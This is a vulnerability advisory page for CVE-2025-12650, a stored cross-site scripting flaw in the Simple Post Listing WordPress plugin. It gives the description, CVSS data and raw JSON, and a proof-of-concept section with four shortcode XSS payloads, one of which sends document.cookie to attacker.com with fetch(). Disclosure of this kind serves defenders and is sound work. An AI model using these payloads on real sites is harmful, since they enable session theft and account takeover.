Security Vulnerability Report
中文
CVE-2025-12650 CVSS 6.4 MEDIUM

CVE-2025-12650

Published: 2025-12-12 04:15:39
Last Modified: 2026-04-15 00:35:42

Description

The Simple post listing plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class_name' parameter in the postlist shortcode in all versions up to, and including, 0.2. This is due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page via mouse interaction.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Simple Post Listing插件 <= 0.2 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-12650: Simple Post Listing XSS via class_name parameter --> <!-- Authenticated contributor+ level required --> <!-- Method 1: Shortcode injection --> [postlist class_name="xss\" onmouseover=\"alert(document.cookie)//\" style=\"display:block;width:100%;height:100%;position:fixed;top:0;left:0;z-index:9999\"] <!-- Method 2: Direct JavaScript execution --> [postlist class_name='xss'><script>alert(String.fromCharCode(67,111,111,107,105,101,32,106,97,109))</script><xss'] <!-- Method 3: Event handler injection --> [postlist class_name='xss\" onload=\"fetch(\'https://attacker.com/steal?c=\'+document.cookie)//'] <!-- Recommended PoC (minimal) --> [postlist class_name='\"><img src=x onerror=alert(document.domain)>']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12650", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:38.773", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Simple post listing plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class_name' parameter in the postlist shortcode in all versions up to, and including, 0.2. This is due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page via mouse interaction."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/simple-post-listing/tags/0.2/simple-post-listing.php#L77", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/dfdebeab-89f6-49b8-a38f-de2a8df7a7e8?source=cve", "source": "[email protected]"}]}}